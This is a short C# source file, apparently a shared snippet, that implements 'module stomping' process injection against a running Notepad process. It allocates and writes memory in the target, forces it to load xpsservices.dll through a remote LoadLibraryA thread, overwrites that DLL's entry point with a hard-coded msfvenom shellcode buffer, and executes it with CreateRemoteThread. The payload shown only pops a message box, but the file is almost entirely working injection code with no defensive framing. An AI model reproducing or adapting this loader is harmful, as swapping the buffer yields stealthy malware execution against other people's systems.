Barely functional module stomping in C#

ModuleStomp.cs

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

namespace ModuleStomp
{
    class Program
    {
        static string ModuleName = @"xpsservices.dll";

        static void Main(string[] args)
        {
            var process = Process.GetProcessesByName("notepad")[0];

            // Load the desired DLL
            var encodedModuleName = Encoding.UTF8.GetBytes(ModuleName);
            var mem = Win32.VirtualAllocEx(process.Handle, IntPtr.Zero, (uint)encodedModuleName.Length, 0x1000 | 0x2000, 0x40);

            Win32.WriteProcessMemory(process.Handle, mem, encodedModuleName, (uint)encodedModuleName.Length, out UIntPtr _);

            var kernel = Win32.LoadLibraryEx("kernel32.dll", IntPtr.Zero, 0);
            var loadLibrary = Win32.GetProcAddress(kernel, "LoadLibraryA");

            Win32.CreateRemoteThread(process.Handle, IntPtr.Zero, 0, loadLibrary, mem, 0, IntPtr.Zero);

            var ModuleEntry = IntPtr.Zero;

            // refresh the process to get the base address of the loaded DLL
            process = Process.GetProcessById(process.Id);

            foreach (ProcessModule module in process.Modules)
            {
                if (module.ModuleName.Equals(ModuleName, StringComparison.OrdinalIgnoreCase))
                {
                    ModuleEntry = module.EntryPointAddress;
                    break;
                }
            }

            if (ModuleEntry == IntPtr.Zero)
            {
                Console.WriteLine("Could not find module entry");
                return;
            }

            // msfvenom -p windows/x64/messagebox EXITFUNC=thread -f csharp
            var buf = new byte[323] {
                0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
                0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
                0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
                0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
                0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
                0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
                0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
                0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
                0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
                0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
                0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
                0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
                0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
                0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,
                0x85,0x2b,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
                0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,
                0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
                0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f,
                0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,0x65,0x73,
                0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 };

            Win32.WriteProcessMemory(process.Handle, ModuleEntry, buf, (uint)buf.Length, out UIntPtr _);
            Win32.CreateRemoteThread(process.Handle, IntPtr.Zero, 0, ModuleEntry, IntPtr.Zero, 0, IntPtr.Zero);
        }
    }

    public class Win32
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        public static extern IntPtr LoadLibraryEx(
            string lpFileName,
            IntPtr hReservedNull,
            uint dwFlags);

        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateRemoteThread(
            IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            IntPtr lpThreadId);
    }
}